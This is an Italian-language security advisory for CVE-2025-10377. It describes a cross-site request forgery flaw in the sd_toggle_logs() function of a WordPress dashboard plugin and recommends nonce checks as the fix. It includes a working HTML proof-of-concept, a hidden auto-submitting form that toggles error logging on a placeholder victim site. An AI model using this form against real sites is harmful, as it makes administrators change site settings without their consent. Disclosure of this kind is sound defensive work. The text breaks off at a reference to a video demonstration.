
CVE-2025-10377
Tipo di vulnerabilità: Cross-Site Request Forgery (CSRF)
Funzione interessata: sd_toggle_logs()
CVSS v3.1: 4.3 (Medio)
Vector: AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:L/A:N
(Nota: il punteggio riflette un cambiamento di stato non autorizzato che richiede una vittima amministratore e l'interazione dell'utente.)
Descrizione della vulnerabilità:
La funzione sd_toggle_logs() gestisce operazioni sensibili come l'abilitazione/disabilitazione dei log di accesso alle pagine, dei log degli errori e dei log di consegna delle email. Tuttavia, si basa esclusivamente sul parametro $_REQUEST['log_type'] e su un controllo delle capacità (current_user_can( 'manage_options' )) senza implementare una protezione CSRF (ad es. check_admin_referer() o un nonce).
Di conseguenza, un attaccante può indurre un Amministratore autenticato a visitare una pagina dannosa che invia silenziosamente una richiesta appositamente costruita, causando modifiche non intenzionali di abilitazione/disabilitazione della registrazione del sito.
Modifiche non autorizzate dello stato delle funzionalità di registrazione del sito (log di accesso alle pagine, log degli errori, log di consegna delle email).
Se la registrazione degli errori è abilitata, il sito potrebbe iniziare a scrivere errori dell'applicazione in un percorso file determinato dal plugin (aumentando la probabilità di divulgazione di informazioni operative tramite i log), ma l'impatto diretto di questo problema è il cambiamento di stato stesso.
Quando un utente autenticato con manage_options visita la pagina dell'attaccante, la funzionalità di registrazione corrispondente viene attivata/disattivata senza consenso esplicito.
<body>
<form action="http://victim.com/wordpress/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="sd_toggle_logs" />
<input type="hidden" name="log_type" value="errors_log" />
<input type="hidden" name="fast_ajax" value="true" />
<input type="hidden" name="load_plugins[]" value="system-dashboard/system-dashboard.php" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Implementare i nonce di WordPress (check_admin_referer() o wp_verify_nonce()) per validare le richieste.
Limitare le azioni sensibili alle sole richieste POST.
Evitare di fare affidamento esclusivamente sui controlli delle capacità per la protezione contro il CSRF.
Se non riesci a riprodurre il problema esattamente come descritto nel report, fai riferimento alla seguente dimostrazione video (PoC) per uno scenario di riproduzione chiaro: